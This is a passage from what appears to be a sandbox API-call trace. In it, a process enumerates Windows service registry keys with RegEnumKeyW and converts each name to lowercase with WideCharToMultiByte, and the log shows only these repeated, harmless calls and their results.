lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptsvc", lpUsedDefaultChar=0x0) returned 8 [0224.773] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0224.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csc", lpUsedDefaultChar=0x0) returned 3 [0224.773] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0224.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0224.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x21f1ad8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cscservice", lpUsedDefaultChar=0x0) returned 10 [0224.774] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0224.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0224.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x21f1cd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dclocator", lpUsedDefaultChar=0x0) returned 9 [0224.774] RegEnumKeyW (in: hKey=0x150, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0224.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0224.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x21f1ad8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dcomlaunch", lpUsedDefaultChar=0x0) returned 10 [0224.774] RegEnumKeyW (in: hKey=0x150, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0224.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0224.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x21f1cd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="defragsvc", lpUsedDefaultChar=0x0) returned 9 [0224.774] RegEnumKeyW (in: hKey=0x150, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0224.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfsc", lpUsedDefaultChar=0x0) returned 4 [0224.774] RegEnumKeyW (in: hKey=0x150, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0224.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dhcp", lpUsedDefaultChar=0x0) returned 4 [0224.774] RegEnumKeyW (in: hKey=0x150, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0224.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0224.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x21f1ad8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagtrack", lpUsedDefaultChar=0x0) returned 9 [0224.775] RegEnumKeyW (in: hKey=0x150, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0224.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="discache", lpUsedDefaultChar=0x0) returned 8 [0224.775] RegEnumKeyW (in: hKey=0x150, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0224.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="disk", lpUsedDefaultChar=0x0) returned 4 [0224.775] RegEnumKeyW (in: hKey=0x150, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0224.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dmvsc", lpUsedDefaultChar=0x0) returned 5 [0224.775] RegEnumKeyW (in: hKey=0x150, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0224.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dnscache", lpUsedDefaultChar=0x0) returned 8 [0224.775] RegEnumKeyW (in: hKey=0x150, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0224.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dot3svc", lpUsedDefaultChar=0x0) returned 7 [0224.775] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0224.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dps", lpUsedDefaultChar=0x0) returned 3 [0224.776] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0224.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drmkaud", lpUsedDefaultChar=0x0) returned 7 [0224.776] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0224.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxgkrnl", lpUsedDefaultChar=0x0) returned 7 [0224.776] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0224.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e1g60", lpUsedDefaultChar=0x0) returned 5 [0224.776] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0224.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eaphost", lpUsedDefaultChar=0x0) returned 7 [0224.776] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0224.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ebdrv", lpUsedDefaultChar=0x0) returned 5 [0224.776] RegEnumKeyW (in: hKey=0x150, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0224.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="efs", lpUsedDefaultChar=0x0) returned 3 [0224.784] RegEnumKeyW (in: hKey=0x150, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0224.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehrecvr", lpUsedDefaultChar=0x0) returned 7 [0224.784] RegEnumKeyW (in: hKey=0x150, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0224.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehsched", lpUsedDefaultChar=0x0) returned 7 [0224.785] RegEnumKeyW (in: hKey=0x150, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0224.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="elxstor", lpUsedDefaultChar=0x0) returned 7 [0224.785] RegEnumKeyW (in: hKey=0x150, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0224.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="errdev", lpUsedDefaultChar=0x0) returned 6 [0224.785] RegEnumKeyW (in: hKey=0x150, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0224.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="esent", lpUsedDefaultChar=0x0) returned 5 [0224.785] RegEnumKeyW (in: hKey=0x150, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0224.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventlog", lpUsedDefaultChar=0x0) returned 8 [0224.785] RegEnumKeyW (in: hKey=0x150, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0224.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0224.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x21f1cd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0224.785] RegEnumKeyW (in: hKey=0x150, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0224.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exfat", lpUsedDefaultChar=0x0) returned 5 [0224.786] RegEnumKeyW (in: hKey=0x150, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0224.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fastfat", lpUsedDefaultChar=0x0) returned 7 [0224.786] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0224.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0224.786] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0224.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdc", lpUsedDefaultChar=0x0) returned 3 [0224.786] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0224.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdphost", lpUsedDefaultChar=0x0) returned 7 [0224.786] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0224.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdrespub", lpUsedDefaultChar=0x0) returned 8 [0224.787] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0224.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fileinfo", lpUsedDefaultChar=0x0) returned 8 [0224.787] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0224.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0224.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x21f1cd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="filetrace", lpUsedDefaultChar=0x0) returned 9 [0224.787] RegEnumKeyW (in: hKey=0x150, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0224.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flpydisk", lpUsedDefaultChar=0x0) returned 8 [0224.787] RegEnumKeyW (in: hKey=0x150, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0224.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fltmgr", lpUsedDefaultChar=0x0) returned 6 [0224.787] RegEnumKeyW (in: hKey=0x150, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0224.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0224.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x21f1ad8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache", lpUsedDefaultChar=0x0) returned 9 [0224.787] RegEnumKeyW (in: hKey=0x150, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0224.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0224.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, 